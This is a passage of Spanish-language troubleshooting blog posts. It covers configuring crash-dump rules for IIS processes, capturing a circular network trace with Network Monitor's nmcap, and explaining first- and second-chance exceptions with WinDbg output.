2) Configurar a que proceso(s) o aplicación(es) adjuntaremos el depurador mediante alguna de las alternativas que nos proporciona la herramienta. Habitualmente nos adjuntaremos a uno o varios procesos W3WP.EXE mediante alguno de los mecanismo que nos proporciona la herramienta:

a. All active IIS/COM+ related processes: Adjuntará el depurador a todos los procesos INETINFO.EXE, W3WP.EXE y DLLHOST.EXE que se ejecuten en la máquina. De esta forma obtendremos datos de cualquier crash que se produzca en un proceso relacionado con IIS.

b. A specific process: Adjuntará el depurador a un proceso específico (un determinado PID) o a todos los procesos con el mismo nombre de ejecutable (por ejemplo W3WP.EXE), en función de sí seleccionamos la opción This process instance only.

c. A specific MTS/COM+ application: Adjuntará el depurador al proceso DLLHOST.EXE que aloje la aplicación COM+ que indiquemos.

d. Web application pool: Adjuntará el depurador al proceso W3WP.EXE que aloje el application pool que indiquemos.

e. NT Service: Adjuntará el depurador al proceso que aloje al servicio de Windows que indiquemos, por ejemplo SVCHOST.EXE.

3) En la pantalla de configuración avanzada pulsamos sobre el botón [Exceptions] y en la ventana de First Chance Exception Configuration le damos a [Add Exception…]. Esto abre una nueva ventana donde configuraremos la excepción específica que queremos monitorizar. Debemos seleccionar el tipo de excepción adecuado en la columna izquierda CLR (.NET) Exception y posteriormente indicar el tipo de excepción y la acción a tomar. Es importante tener en cuenta que el campo [.NET Exception Type] es case sensitive, por lo que debemos poner el nombre exacto de la excepción con las mayúsculas y minúsculas adecuadas. La acción a realizar cuando se produzca una excepción como la configurada será generar un Full Userdump, y limitaremos esta acción a un máximo de 10 volcados:

4) Una vez configurada la excepción adecuada, pulsamos [OK] à [Save & Close] à [Next], y finalizamos indicando el nombre de la regla, la ubicación donde volcará los datos generados y activando la regla para que empiece a capturar datos

En una serie de próximos posts, cubriré algunas técnicas para introducirse en el análisis de volcados de memoria.

Happy hacking,

- Daniel Mossberg

Cómo capturar una traza de red circular con Network Monitor

Daniel Mossberg — Mon, 22 Mar 2010 09:48:00 GMT

En ocasiones, necesitamos capturar trazas de red durante un periodo de tiempo prolongado, por ejemplo para esperar hasta que se produzca un determinado comportamiento aleatorio que pretendemos investigar. Para estos escenarios puede ser útil capturar una traza de red circular, de forma que únicamente se guarden los últimos n MB capturados, y los datos anteriores se vayan desechando automáticamente.

De esta forma, la traza puede estar capturando datos durante días, y en el momento que se produzca el problema, paramos la traza que contendrá el tráfico de red relevante que pretendíamos investigar en un fichero de un tamaño manejable.

Es importante configurar un tamaño de buffer lo suficientemente grande para tener un margen desde que se reproduce el problema hasta que se para la traza, de forma que esta contenga el periodo de tiempo que se pretende investigar. El problema de las trazas circulares es que si se para la traza demasiado tarde, es posible que los datos que se pretendían investigar ya hayan sido desechados.

Network Monitor, permite capturar trazas circulares mediante la utilidad de línea de comandos nmcap.exe. La sintaxis para capturar una traza circular de 200 MB sería la siguiente:

C:\...\Microsoft Network Monitor 3>nmcap.exe /network * /capture /file netTrace.cap:200M

Netmon Command Line Capture (nmcap) 3.3.1641.0

Saving info to:

C:\Program Files\Microsoft Network Monitor 3\netTrace.cap - using circular buffer of size 200.00 MB.

ATTENTION: Conversations Enabled: consumes more memory (see Help for details)

Exit by Ctrl+C

Capturing | Received: 411 Pending: 0 Saved: 411 Dropped: 0 | Time: 17 seconds.

En el momento que se haya producido el problema, finalizamos la captura presionando Ctrl + C.

Hasta el próximo post,

- Daniel Mossberg

¿Qué son las excepciones de first chance y second chance?

Daniel Mossberg — Fri, 26 Feb 2010 05:51:00 GMT

Cuando adjuntamos un depurador a un proceso y se produce una excepción, el depurador es el primero en ser notificado de esa excepción. El depurador puede manejarla, o simplemente dejar que la ejecución siga su curso, en cuyo caso el siguiente en ser notificado de la excepción es la propia aplicación. Por lo tanto, esta primera oportunidad que tiene el depurador para capturar una excepción se llama first chance. Examinando las excepciones con un depurador como WinDbg, podríamos ver algo parecido a esto:

(1f68.140c): CLR exception - code e0434f4d (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

KERNELBASE!RaiseException+0x39:

000007fe`fcfcaa7d 4881c4c8000000 add rsp,0C8h

Examinando los detalles de la excepción .NET en cuestión (CLR Exception), podríamos ver que el depurador está capturando la siguiente excepción System.Web.HttpException:

0:032> !printexception

Exception object: 0000000155a173b8

Exception type: System.Web.HttpException

Message: The file '/myApp/myUserControl.ascx' does not exist.

InnerException:

StackTrace (generated):

StackTraceString:

HResult: 80004005

En esta ocasión, la aplicación ASP.NET maneja la excepción adecuadamente, y el problema no pasa a mayores. No obstante, se puede dar la circunstancia de que la aplicación no maneje la excepción, o no pueda manejarla, en cuyo caso se lanzaría una excepción de second chance. Las excepciones de second chance son la segunda y última oportunidad de capturar una excepción. En la mayoría de los casos, cuando se produce una excepción de second chance, la ejecución el proceso finaliza inmediatamente, se produce un crash.

En el siguiente ejemplo, vemos como se produce una excepción de Stack Overflow, y al no ser manejada por la aplicación (las excepciones de Stack Overflow particularmente, no se pueden manejar) se lanza primero una excepción de first chance, y posteriormente en la misma instrucción de ensamblador, se lanza la excepción de second chance. que provoca la finalización del proceso:

(1f60.1c0c): Stack overflow - code c00000fd (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00032000 ebx=7ffd9000 ecx=0001f208 edx=7c82860c esi=00000000 edi=00000000

eip=00401237 esp=000378b4 ebp=000378bc iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

StackOverflow!_chkstk+0x27:

00401237 8500 test dword ptr [eax],eax ds:0023:00032000=00000000

(1f60.1c0c): Stack overflow - code c00000fd (!!! second chance !!!)

eax=00032000 ebx=7ffd9000 ecx=0001f208 edx=7c82860c esi=00000000 edi=00000000

eip=00401237 esp=000378b4 ebp=000378bc iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

StackOverflow!_chkstk+0x27:

00401237 8500 test dword ptr [eax],eax ds:0023:00032000=00000000

Dependiendo del tipo de escenarios que estemos investigando, puede ser relevante analizar las excepciones de first chance, las de second chance, o las dos.

Hasta el próximo post,

- Daniel Mossberg